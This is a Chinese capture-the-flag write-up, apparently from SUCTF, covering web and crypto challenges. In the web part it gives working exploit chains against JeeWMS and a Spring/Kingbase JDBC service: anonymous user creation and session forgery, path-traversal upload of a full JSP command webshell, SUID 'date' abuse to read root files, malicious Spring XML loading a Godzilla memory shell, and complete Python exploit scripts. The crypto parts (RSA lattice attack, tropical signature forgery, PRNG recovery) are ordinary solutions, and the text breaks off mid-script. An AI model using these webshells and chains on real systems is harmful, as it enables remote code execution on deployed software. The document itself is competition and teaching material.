String hasMenuSql = "select count(*) from t_s_function where functiontype = 0 and functionurl = '" + requestPath + "'";
Long hasMenuCount = this.systemService.getCountForJdbc(hasMenuSql);
if (hasMenuCount <= 0L) {
    return true;
}

也就是说,只要当前请求 URL 不在菜单权限表里,就默认放行。

而这种内部 REST 接口,通常根本不会配进菜单表。

因此一旦我们有了“登录态”,哪怕只是一个新造的普通用户,也足够去打 rest/tokens/saveImage

3. 实际利用步骤

3.1 第一步:匿名枚举用户,拿一个真实 orgId

请求:

GET /jeewms/rest/user HTTP/1.1
Host: target

重点看返回 JSON 里的:

  • id
  • userName
  • departid

只要能找到任意一个非空 departid,后面就能直接拿来当 changeDefaultOrgorgId

如果远端环境没有从这个接口直接泄露到 departid,也可以走备用路线:

  • 使用假 orgId
  • 触发 LOCAL_CLINET_USER 副作用
  • 再请求一次 loginController.do?login 完成 ClientManager 补全

3.2 第二步:匿名创建新用户

请求:

POST /jeewms/rest/user HTTP/1.1
Host: target
Content-Type: application/json

{
  "userName": "pwned",
  "realName": "pwned",
  "password": "0d36c2853ed296ee",
  "status": 1,
  "activitiSync": 0,
  "deleteFlag": 0
}

这里的 password 不是明文,而是 PwdCalc.java 算出来的密文。

3.3 第三步:利用 changeDefaultOrg 建会话

最稳请求:

POST /jeewms/loginController.do?changeDefaultOrg HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

userName=pwned&password=pwned&orgId=<上一步拿到的真实departid>&langCode=zh-cn

如果没有真实 orgId,兜底写法是:

POST /jeewms/loginController.do?changeDefaultOrg HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

userName=pwned&password=pwned&orgId=bogusorgid123456789012345678901234&langCode=zh-cn

然后立刻再请求一次:

GET /jeewms/loginController.do?login HTTP/1.1
Host: target
Cookie: JSESSIONID=...

目的不是看页面,而是触发 ResourceUtil.getSessionUserName(),把 LOCAL_CLINET_USER 重新同步进 ClientManager

3.4 第四步:写入 JSP WebShell

请求:

PUT /jeewms/rest/tokens/saveImage?imageFileName=shell.jsp&fileAddr=../../webapps/jeewms/upload HTTP/1.1
Host: target
Cookie: JSESSIONID=...
Content-Type: application/octet-stream

<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
    out.print("ok");
    return;
}
String[] execCmd;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
    execCmd = new String[]{"cmd.exe", "/c", cmd};
} else {
    execCmd = new String[]{"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(execCmd);
InputStream in = p.getInputStream();
InputStream err = p.getErrorStream();
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) != -1) out.print(new String(buf, 0, len));
while ((len = err.read(buf)) != -1) out.print(new String(buf, 0, len));
%>

如果成功,shell 会出现在:

/jeewms/upload/shell.jsp

3.5 第五步:验证命令执行

请求:

GET /jeewms/upload/shell.jsp?cmd=id HTTP/1.1
Host: target
Cookie: JSESSIONID=...

3.6 第六步:找 flag

先找路径:

find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null

4. 远端赛题环境的最终拿 flag 方式

远端真实环境还有两层额外条件:

  1. WebShell 执行身份是:
uid=999(wms) gid=999(wms) groups=999(wms)
  1. flag 文件权限是:
drwxr-xr-x 2 root root 4096 Mar 11 10:57 /30b5a132adc9
-r-------- 1 root root   39 Mar  1 12:39 /30b5a132adc9/flag_2d630fb4

也就是 0400 root:root,普通 cat 会被拒绝。

但远端环境里还有一个额外可利用点:

/usr/bin/date

带 SUID。

利用方式:

date -f /30b5a132adc9/flag_2d630fb4 2>&1

原因是 date -f <file> 会以其自身权限读取文件,并把每一行当成日期格式解析;当解析失败时,错误输出会带出原始内容,从而把 flag 泄露出来。

仓库里的实战记录给出的最终 flag 是:

suctf{v3ry_e45y_uN4utHOrIZEd_rC3!_!aAA}

这一步是远端部署环境附带的提权/文件读取问题

5. 脚本

exploit_remote.py

#!/usr/bin/env python3
import argparse
import http.cookiejar
import json
import random
import string
import urllib.parse
import urllib.request

USER_NAME = "pwned"
USER_PASS = "pwned"
USER_PASS_HASH = "0d36c2853ed296ee"
FAKE_ORG_ID = "bogusorgid123456789012345678901234"

JSP_SHELL = r"""<%@ page import="java.io.*" %><%
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
    out.print("ok");
    return;
}
String[] execCmd;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
    execCmd = new String[]{"cmd.exe", "/c", cmd};
} else {
    execCmd = new String[]{"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(execCmd);
InputStream in = p.getInputStream();
InputStream err = p.getErrorStream();
byte[] buf = new byte[8192];
int len;
while ((len = in.read(buf)) != -1) {
    out.print(new String(buf, 0, len));
}
while ((len = err.read(buf)) != -1) {
    out.print(new String(buf, 0, len));
}
%>"""

def rand_name(n=6):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))

def request(url, data=None, method=None, headers=None, opener=None):
    req = urllib.request.Request(url, data=data, method=method, headers=headers or {})
    if opener is None:
        resp_ctx = urllib.request.urlopen(req, timeout=20)
    else:
        resp_ctx = opener.open(req, timeout=20)
    with resp_ctx as resp:
        return resp.status, resp.read().decode("utf-8", "ignore"), resp.headers

def ensure_user(base_url):
    data = json.dumps(
        {
            "userName": USER_NAME,
            "realName": USER_NAME,
            "password": USER_PASS_HASH,
            "status": 1,
            "activitiSync": 0,
            "deleteFlag": 0,
        }
    ).encode()
    try:
        status, _, headers = request(
            base_url + "/rest/user",
            data=data,
            headers={"Content-Type": "application/json"},
        )
        return status, headers.get("Location", "")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "ignore")

def list_users(base_url):
    try:
        status, body, _ = request(base_url + "/rest/user")
        if status != 200:
            return []
        return json.loads(body)
    except Exception:
        return []

def pick_org_id(users):
    for user in users:
        depart_id = (user or {}).get("departid")
        if depart_id:
            return depart_id
        current_depart = (user or {}).get("currentDepart") or {}
        current_depart_id = current_depart.get("id")
        if current_depart_id:
            return current_depart_id
    return ""

def bootstrap_client(base_url, opener):
    try:
        request(base_url + "/loginController.do?login", opener=opener)
    except urllib.error.HTTPError as e:
        # Even if the page errors, ResourceUtil.getSessionUserName() may already
        # have copied LOCAL_CLINET_USER into ClientManager.
        e.read()

def build_session(base_url, org_id):
    cookie_jar = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookie_jar))
    request(base_url + "/", opener=opener)
    post_data = urllib.parse.urlencode(
        {
            "userName": USER_NAME,
            "password": USER_PASS,
            "orgId": org_id or FAKE_ORG_ID,
            "langCode": "zh-cn",
        }
    ).encode()
    try:
        request(
            base_url + "/loginController.do?changeDefaultOrg",
            data=post_data,
            opener=opener,
        )
    except urllib.error.HTTPError as e:
        # With a fake orgId, saveLoginSuccessInfo may fail after writing
        # LOCAL_CLINET_USER into the session.
        e.read()
    bootstrap_client(base_url, opener)
    return opener

def upload_shell(base_url, opener):
    shell_name = "shell" + rand_name() + ".jsp"
    query = urllib.parse.urlencode(
        {
            "imageFileName": shell_name,
            "fileAddr": "../../webapps/jeewms/upload",
        }
    )
    status, body, _ = request(
        base_url + "/rest/tokens/saveImage?" + query,
        data=JSP_SHELL.encode(),
        method="PUT",
        opener=opener,
    )
    shell_url = base_url + "/upload/" + shell_name
    return shell_url, status, body

def run_cmd(shell_url, cmd, opener):
    status, body, _ = request(
        shell_url + "?cmd=" + urllib.parse.quote(cmd),
        opener=opener,
    )
    return status, body

def main():
    parser = argparse.ArgumentParser(
        description="Exploit JEECG/JEEWMS unauth user creation + org bootstrap + JSP upload + flag read."
    )
    parser.add_argument(
        "base",
        help="Target application base URL, e.g. http://101.245.81.83:10018/jeewms",
    )
    args = parser.parse_args()

    base_url = args.base.rstrip("/")
    print(f"[+] base_url: {base_url}")

    users = list_users(base_url)
    org_id = pick_org_id(users)
    if org_id:
        print(f"[+] picked orgId from /rest/user: {org_id}")
    else:
        print("[+] no orgId leaked from /rest/user, will fallback to fake org bootstrap")

    user_status, user_result = ensure_user(base_url)
    print(f"[+] create user: HTTP {user_status} {user_result}")

    opener = build_session(base_url, org_id)
    if org_id:
        print("[+] session established via changeDefaultOrg with a valid orgId")
    else:
        print("[+] session established via fake orgId + login bootstrap side effect")

    shell_url, upload_status, upload_body = upload_shell(base_url, opener)
    print(f"[+] upload shell: HTTP {upload_status} {upload_body}")
    print(f"[+] shell_url: {shell_url}")

    status, body = run_cmd(shell_url, "id", opener)
    print(f"[+] id: HTTP {status}")
    print(body)

    status, flag_paths = run_cmd(
        shell_url,
        "find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null",
        opener,
    )
    print(f"[+] flag path search: HTTP {status}")
    print(flag_paths)

    candidates = [line.strip() for line in flag_paths.splitlines() if line.strip()]
    if not candidates:
        return

    for path in candidates:
        status, content = run_cmd(shell_url, f"date -f {path} 2>&1", opener)
        print(f"[+] date -f {path}: HTTP {status}")
        print(content)

if __name__ == "__main__":
    main()

现在的逻辑是:

  1. 匿名 GET /rest/user,优先拿真实 orgId
  2. 匿名 POST /rest/user 造用户
  3. changeDefaultOrg 建会话
  4. 如有需要,再访问一次 loginController.do?login 进行 bootstrap
  5. PUT /rest/tokens/saveImage 写 JSP
  6. 调 shell 执行 idfind flagdate -f

使用方式:

python exploit_remote.py http://101.245.81.83:10018/jeewms
python exploit_remote.py http://101.245.81.83:10019/jeewms

总结

这题的核心漏洞链可以归纳为:

  1. /rest/* 过宽白名单
  2. 匿名 rest/user 用户枚举与创建
  3. changeDefaultOrg 越权建立会话
  4. saveImage 任意文件写入
  5. Linux 路径解析导致可写入 WebRoot
  6. JSP WebShell 拿到 RCE
  7. 远端环境附带的 SUID date 帮助读取 root-only flag

如果只从“有没有一个明显的未授权上传”这个角度去看,这题并不显眼。

但一旦把:

  • 路径匹配
  • 会话建立
  • 密码算法
  • Linux 路径行为

这几个点连起来,整道题就会非常顺。

SU_jdbc-master

首先看到题目不出网,然后看jar包

image-20260316201322495

这个路由会测试数据库连接,但是PathInterceptor这个类对suctf字符串进行了waf,通过unicode绕过,这里我在windows本地起这个测试一下bypass

image-20260316201753536

然后注意到driver里面还有另一个jar包kingbase8.jar,webconfig类里面写了

image-20260316202318736

image-20260316202548424

也就是说我们是我们只要带上连接串参数ConfigurePath,指定后面的文件,就能让它加载我们指定的内容,可是题目不出网,又没有上传接口,怎么让它加载我们的文件呢,这里想到之前p神的文章:ClassPathXmlApplicationContext的不出网利用 | 离别歌

明显我们只要让配置文件里面的内容为

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=http://127.0.0.1:7777/poc.xml

指定两个参数的内容,就能跟p神的挑战一样加载恶意xml,本地准备一个弹计算器的xml测试一下

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="runtime" class="java.lang.Runtime" factory-method="getRuntime" />
    <bean id="exec" factory-bean="runtime" factory-method="exec">
        <constructor-arg value="calc.exe" />
    </bean>
</beans>

image-20260316203238900

确实弹计算器了,但是题目确实没有上传的地方,p神的文章提到

image-20260316203406399

image-20260316203420692

这里p神演示的是windows环境下的打法,我本地起docker观察一下linux的情况

image-20260316203708799

也就是说linux下临时文件存在/tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp

然后现在的问题是,我们既要上传配置文件,又要上传xml,这有俩临时文件,linux下临时文件会暂存在fd中

也就是我们先要上传恶意xml,再上传配置文件,这个时候通过竞争,再发送json去加载我们的配置文件,配置文件调用ClassPathXmlApplicationContext加载恶意xml,显然要爆fd,让请求这个json成功加载到临时文件中的配置文件

这里参考从JDBC MySQL不出网攻击到spring临时文件利用-先知社区fastjson1.2.83(开autotype)+mysql不出网利用 – fushulingのblog

image-20260316204614367

这里我跟着大佬的脚本进行测试的时候,发现了问题,我写入的临时文件在fd里面总是少掉最后一行,那我直接手动加上一行没用的数据不就行了

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*.tmp
xxxxxxxxxxxxxx

然后准备内存马,这里用jmg工具生成哥斯拉马

<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
        <property name="arguments">
            <list>
                <value>yv66vgAAADIBCgEAWW9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2ludHJvc3BlY3QvQW5ub3RhdGVkQ2xhc3NSZXNvbHZlcjY0OWE5NDMxN2E4YzQzY2JhYTI0MzI5YmJhZjM0NTU2BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAi8qCAAHAQAMZ2V0Q2xhc3NOYW1lAQBNb3JnLmFwYWNoZS5iZWFudXRpbH...(一大堆base64)</value>
            </list>
        </property>
    </bean>
    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg ref="decoder"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="9166"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>

还是没法打入内存马,这里查看docker日志发现ClassPathXmlApplicationContext加载的临时文件一直是它配置文件本身,后面调半天知道是加载的临时文件是根据字符大小来加载的,字符数小的先加载,所以通配符这里不能指定所有tmp文件

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx

最终得到exp,这里不知道为什么加载本地文件打不通,这里直接把payload加到脚本里,非常丑陋,但是能打通(

import socket
import threading
import time
import requests
import json

HOST = "1.95.113.59"
PORT = 10019
# HOST = "192.168.247.137"
# PORT = 8080
def cache_tmp():
    a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999

--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=file:///tmp/tomcat.*/work/Tomcat/localhost/ROOT/upload_*1.tmp
xxxxxxxxxxxxxx

""".replace(
        b"\n", b"\r\n"
    )
    s = socket.socket()
    s.connect((HOST, PORT))
    s.sendall(a)
    time.sleep(1111111)
def cache_tmp2():
    a = b"""POST /api/connection/%C5%BFuctf HTTP/1.1
Host: 192.168.247.137:8080
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxxxx;
User-Agent: python-requests/2.32.3
Content-Length: 1999999

--xxxxxxxx
Content-Disposition: form-data; name="file"; filename="a.txt"

<beans
    xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
        <property name="arguments">
            <list>
                <value>yv66vgAAADIBCgEAZm9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2pzb250eXBlL2ltcGwvQXNQcm9wZXJ0eVR5cGVEZX...</value>
            </list>
        </property>
    </bean>
    <bean id="classLoader" class="javax.management.loading.MLet"/>
    <bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
        <constructor-arg ref="decoder"/>
        <constructor-arg type="int" value="0"/>
        <constructor-arg type="int" value="9237"/>
    </bean>
    <bean factory-bean="clazz" factory-method="newInstance"/>
</beans>
</beans>
""".replace(
        b"\n", b"\r\n"
    )
    s = socket.socket()
    s.connect((HOST, PORT))
    s.sendall(a)
    time.sleep(1111111)
def exp():
    url = f"http://{HOST}:{PORT}/api/connection/%C5%BFuctf"
    headers = {
        "Host": "127.0.0.1:8080",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "X-Authorization": "whoami",
        "Content-Type": "application/json",
    }
    for fd in range(40, 101):
        print(f"当前爆破到fd: {fd}")
        named_pipe_path = f"/proc/self/fd/{fd}"
        payload = {
            "driver":   "com.kingbase8.Driver",
            "urlType":  "jdbcUrl",
            "jdbcUrl":  f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
        }
        
        payload_json = json.dumps(payload).encode("utf-8")
        headers["Content-Length"] = str(len(payload_json))
        try:
            response = requests.post(url, headers=headers, data=payload_json, timeout=5)
            print(response.text)
        except Exception:
            continue
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()
threading.Thread(target=cache_tmp2).start()

time.sleep(3)        
threading.Thread(target=cache_tmp).start()

time.sleep(3)
exp()

image-20260316210014853

Crypto

SU_RSA

RSA 中有,因此存在整数 ,使得。又因为,代入得到

这就是整题的核心方程。

题目给出:

所以可以写成

其中未知量 就是 的低位部分,满足

,把 代进去:

移项可得:

,则有

再令则得到二元多项式:

并满足

其中小根范围为:,较小。,也较小

所以这是一个标准的 二元模方程小根问题。

因为泄露了 的高位,未知的是低 399 位左右,因此:

所以脚本中设置: Y = 2^400

可知大约有

由于 的量级比较大,而 约为 ,因此

是 1024 位,所以

所以脚本取:X = 2^338

我们要找的是方程 很小的情况下的整数根。

采用二维小根攻击套路,构造一批“偏移多项式”:

for k in range(m + 1):
    for i in range(m - k + 1):
        polys.append(x^i * f^k * e^(m - k))
for k in range(m + 1):
    for j in range(1, t + 1):
        polys.append(y^j * f^k * e^(m - k))

于是我们就把“模方程求根”变成了“整数多项式联立求根”。

exp:

from Crypto.Util.number import long_to_bytes

N = 92365041570462372694496496651667282908316053786471083312533551094859358939662811192309357413068144836081960414672809769129814451275108424713386238306177182140825824252259184919841474891970355752207481543452578432953022195722010812705782306205731767157651271014273754883051030386962308159187190936437331002989
e = 11633089755359155730032854124284730740460545725089199775211869030086463048569466235700655506823303064222805939489197357035944885122664953614035988089509444102297006881388753631007277010431324677648173190960390699105090653811124088765949042560547808833065231166764686483281256406724066581962151811900972309623
c = 49076508879433623834318443639845805924702010367241415781597554940403049101497178045621761451552507006243991929325463399667338925714447188113564536460416310188762062899293650186455723696904179965363708611266517356567118662976228548528309585295570466538477670197066337800061504038617109642090869630694149973251
S = 19240297841264250428793286039359194954582584333143975177275208231751442091402057804865382456405620130960721382582620473853285822817245042321797974264381440

A = N - S + 1
X = 2^338
Y = 2^400

m = 4
t = 1

PR.<x,y> = PolynomialRing(ZZ)
f = x*(A + y) + 1

print("[*] building shifts...")
polys = []
for k in range(m + 1):
    for i in range(m - k + 1):
        polys.append(x^i * f^k * e^(m - k))
for k in range(m + 1):
    for j in range(1, t + 1):
        polys.append(y^j * f^k * e^(m - k))

monomials = []
for p in polys:
    for mono in p.monomials():
        if mono not in monomials:
            monomials.append(mono)
monomials.sort()

dim = len(monomials)
print(f"[*] lattice dim = {dim}")

M = Matrix(ZZ, dim, dim)
for i, p in enumerate(polys):
    for j, mono in enumerate(monomials):
        M[i, j] = p.monomial_coefficient(mono) * mono(X, Y)

print("[*] running LLL...")
M_lll = M.LLL()

P.<x,y> = PolynomialRing(ZZ)
roots_polys = []
for i in range(M_lll.nrows()):
    if M_lll[i].is_zero():
        continue
    g = 0
    for j, mono in enumerate(monomials):
        g += (M_lll[i, j] // mono(X, Y)) * mono(x, y)
    roots_polys.append(g)
    if len(roots_polys) >= 2:
        break

print("[*] solving resultant...")
rr = roots_polys[0].resultant(roots_polys[1], x)
rr = rr.univariate_polynomial()

for y0, _ in rr.roots():
    x0 = -int(y0)
    p_plus_q = S + x0
    print("[+] p+q =", p_plus_q)

    Z.<z> = PolynomialRing(ZZ)
    eq = z^2 - p_plus_q*z + N
    rs = eq.roots()
    if rs:
        p = int(rs[0][0])
        q = N // p
        phi = (p - 1) * (q - 1)
        d = inverse_mod(e, phi)
        m_plain = power_mod(c, d, N)
        print("[+] flag =", long_to_bytes(int(m_plain)))
        break
"""
[*] building shifts...
[*] lattice dim = 20
[*] running LLL...
[*] solving resultant...
[+] p+q = 19240297841264250428793286039359195637731400054985741919962107944867330585427323745692248457504292195729962226250378456203792847440293835522720705701354066
[+] flag = b'SUCTF{congratulation_you_know_small_d_with_hint_factor}'
"""

SU_Restaurant

题目中的 Point 运算为:

因此矩阵乘法是 min-plus (tropical) 矩阵乘法:

矩阵加法为逐元素最小值:

服务器初始化:

消息 msg 经 sha3_512 得到 64 字节,排成:

cook() 随机生成:

返回:

验证时计算:

代入:

按 tropical 分配律展开:

由于 ,得到:

,因此只要 (A,B,P,R,S) 按上述公式生成,就一定通过验证。

菜单1返回 (A,B,P,R,S) 和菜名 foodname,菜名已知,可计算 M。

未知变量为 ,对应的方程为:

所有变量范围 [0,255],点两次菜得到两组样本,共享同一组 C,D,建立 SMT 约束直接求解即可恢复 C,D。

得到 C,D 后,对选项2给出的随机字符串计算 M,随机选择小范围 U,V,按服务器公式生成 ,直到满足元素范围 [0,256]、rank(A) ≥ 7、rank(B) ≥ 7、rank(P),rank(R),rank(S) ≥ 8、A⊗B ≠ S,提交即可获得 flag。

exp:

from pwn import *
from hashlib import sha3_512
import numpy as np
import json,re,random
from z3 import *

HOST="101.245.107.149"
PORT=10020

def H(x):
    h=sha3_512(x).hexdigest()
    return [int(h[i:i+2],16) for i in range(0,128,2)]

def msg_to_M(msg):
    t=H(msg.encode())
    return [[t[i*8+j] for j in range(8)] for i in range(8)]

def trop_add(A,B):
    return [[min(A[i][j],B[i][j]) for j in range(len(A[0]))] for i in range(len(A))]

def trop_mul(A,B):
    n,m=len(A),len(A[0])
    p=len(B[0])
    R=[[10**9]*p for _ in range(n)]
    for i in range(n):
        for j in range(p):
            R[i][j]=min(A[i][k]+B[k][j] for k in range(m))
    return R

def rank_ok(A,r):
    return np.linalg.matrix_rank(np.array(A))>=r

def legal(A):
    return all(0<=A[i][j]<=256 for i in range(len(A)) for j in range(len(A[0])))

def z3min(xs):
    v=xs[0]
    for x in xs[1:]:
        v=If(x<v,x,v)
    return v

def mat(name,n,m):
    return [[Int(f"{name}_{i}_{j}") for j in range(m)] for i in range(n)]

def add_range(s,M,l,r):
    for row in M:
        for x in row:
            s.add(x>=l,x<=r)

def solve_CD(samples):

    s=Solver()

    C=mat("C",8,7)
    D=mat("D",7,8)

    add_range(s,C,0,255)
    add_range(s,D,0,255)

    UV=[]
    for t in range(len(samples)):
        U=mat(f"U{t}",8,7)
        V=mat(f"V{t}",7,8)
        add_range(s,U,0,255)
        add_range(s,V,0,255)
        UV.append((U,V))

    for t,samp in enumerate(samples):

        M,A,B,P,R,S=samp
        U,V=UV[t]

        for i in range(8):
            for j in range(7):
                mc=z3min([IntVal(M[i][k])+C[k][j] for k in range(8)])
                s.add(IntVal(A[i][j])==If(U[i][j]<mc,U[i][j],mc))

        for i in range(7):
            for j in range(8):
                dm=z3min([D[i][k]+IntVal(M[k][j]) for k in range(8)])
                s.add(IntVal(B[i][j])==If(V[i][j]<dm,V[i][j],dm))

        for i in range(8):
            for j in range(8):

                s.add(IntVal(P[i][j])==z3min([C[i][k]+V[k][j] for k in range(7)]))
                s.add(IntVal(R[i][j])==z3min([U[i][k]+D[k][j] for k in range(7)]))
                s.add(IntVal(S[i][j])==z3min([U[i][k]+V[k][j] for k in range(7)]))

    s.check()
    m=s.model()

    Cval=[[m[C[i][j]].as_long() for j in range(7)] for i in range(8)]
    Dval=[[m[D[i][j]].as_long() for j in range(8)] for i in range(7)]

    return Cval,Dval

def parse_sample(txt):

    food=re.search(r'Here is your (.*?)!"',txt).group(1)

    def g(x):
        return json.loads(re.search(rf"{x} = (\[\[.*?\]\])",txt,re.S).group(1))

    M=msg_to_M(food)

    return (M,g("A"),g("B"),g("P"),g("R"),g("S"))

def forge(C,D,msg):

    M=msg_to_M(msg)

    while True:

        U=[[random.randint(0,100) for _ in range(7)] for __ in range(8)]
        V=[[random.randint(0,100) for _ in range(8)] for __ in range(7)]

        P=trop_mul(C,V)
        R=trop_mul(U,D)
        S=trop_mul(U,V)
        A=trop_add(trop_mul(M,C),U)
        B=trop_add(trop_mul(D,M),V)

        if not all(map(legal,[A,B,P,R,S])):
            continue

        if not rank_ok(A,7): continue
        if not rank_ok(B,7): continue
        if not rank_ok(P,8): continue
        if not rank_ok(R,8): continue
        if not rank_ok(S,8): continue

        if trop_mul(A,B)==S: continue

        return {"A":A,"B":B,"P":P,"R":R,"S":S}

io=remote(HOST,PORT)

samples=[]

for _ in range(2):

    io.sendlineafter(b">>> ",b"1")
    txt=io.recvuntil(b"What do you want").decode()
    samples.append(parse_sample(txt))

C,D=solve_CD(samples)

io.sendlineafter(b">>> ",b"2")

txt=io.recvuntil(b">>> ").decode()
target=re.search(r'Please make (.*?) for me!',txt).group(1)

payload=forge(C,D,target)

io.sendline(json.dumps(payload).encode())

io.interactive()
#The waiter says: "Here is the FLAG: b'SUCTF{W3lc0m3_t0_SU_R3stAur4nt_n3Xt_t1me!:-)}'"

SU_Prng

题目里的状态转移是一个模 的 LCG:

服务端会给出:

  • a
  • 56 个 out
  • md5(str(seed0))

输出函数是:

这里最关键的点是 Python 运算优先级。题目代码里写的是:

self.seed >> bits - 250

真正执行的是:

ror(x, k, 256) 只看 ,所以旋转量只由状态的第 6..13 位决定。

把状态拆成上下 128 位:

把参数也拆开:

则递推变成:

其中

所以低 128 位本身就是一个模 的 LCG。

因为旋转量只取决于 的第 6..13 位,所以

低半部分降到模 以后满足

对每个输出 out_i,枚举全部 ,保留那些满足

的旋转量。因为旋回去之后得到的是

它天然只有 128 位。

接着枚举前两个 的低 6 位,总共 种,再用模 递推一路向后检查,保留那些和 56 个输出全部兼容的路径。

这一步对应 exp.py 里的:

  • rotation_sets
  • mod14_paths

写成

此时 已知,未知量变成

由于低半部分满足二阶关系

代入后得到

这已经是模 的线性方程组,但 还有范围约束:

所以脚本把它转成格问题,用 LLL 求一个特解

有了正确旋转后:

再代入

可得

其中

从格里求出来的不是唯一解,而是一族:

也就是所有 同时差一个公共平移

再把高半部分代入二阶递推:

这里 可以由低半部分和进位计算得到。

然后对公共平移 做逐位 lifting:

  1. 先确定
  2. 再确定
  3. 再确定
  4. 一直抬到

每次只试下一位是 0 还是 1,并检查高半部分二阶递推是否继续成立。因为约束很多,错误分支会非常快被剪掉。

当完整状态序列恢复出来以后:

题目要求输入的是最初的 seed0,满足

如果 a 是奇数,直接求逆即可。

如果 a 是偶数,会出现多个同余解,但题目还泄露了

所以把所有候选解枚举出来,再用 MD5 过滤即可。

exp:

#!/usr/bin/env python3
import ast
import hashlib
import math
import re
import socket
import sys
import time

import sympy as sp
from fpylll import IntegerMatrix, LLL

BITS = 256
NOUT = 56
MOD = 1 << BITS
MASK = MOD - 1
MOD128 = 1 << 128
MASK128 = MOD128 - 1
MOD14 = 1 << 14
MOD142 = 1 << 142
TOP114 = 1 << 114
DEFAULT_HOST = "1.95.115.179"
DEFAULT_PORT = 10000

def rol(x, k, n=BITS):
    k %= n
    return ((x << k) | (x >> (n - k))) & ((1 << n) - 1)

def ror(x, k, n=BITS):
    k %= n
    return ((x >> k) | (x << (n - k))) & ((1 << n) - 1)

def center(x, mod):
    x %= mod
    if x > mod // 2:
        x -= mod
    return x

class SolveError(RuntimeError):
    pass

def parse_transcript(text):
    ma = re.search(r"a\s*=\s*(\d+)", text)
    mo = re.search(r"out\s*=\s*(\[[^\n\r]+\])", text)
    mh = re.search(r"h\s*=\s*([0-9a-fA-F]{32})", text)
    if not (ma and mo and mh):
        raise SolveError("bad transcript")
    a = int(ma.group(1))
    outs = [int(x) for x in ast.literal_eval(mo.group(1))]
    md5_hex = mh.group(1).lower()
    return a, outs, md5_hex

def recv_until(sock, marker=b"> ", timeout=180):
    sock.settimeout(timeout)
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data

def recv_rest(sock, timeout=180):
    sock.settimeout(timeout)
    out = []
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            out.append(chunk)
        except socket.timeout:
            break
    return b"".join(out)

def rotation_sets(outs):
    return [[r for r in range(256) if (rol(o, r) >> 128) == 0] for o in outs]

def mod14_paths(a, sets):
    a14 = a & (MOD14 - 1)
    seen = set()
    out = []

    for r0 in sets[0]:
        for low0 in range(64):
            t0 = (r0 << 6) | low0
            at0 = (a14 * t0) & (MOD14 - 1)
            for r1 in sets[1]:
                for low1 in range(64):
                    t1 = (r1 << 6) | low1
                    b0 = (t1 - at0) & (MOD14 - 1)
                    ts = [t0, t1]
                    ok = True
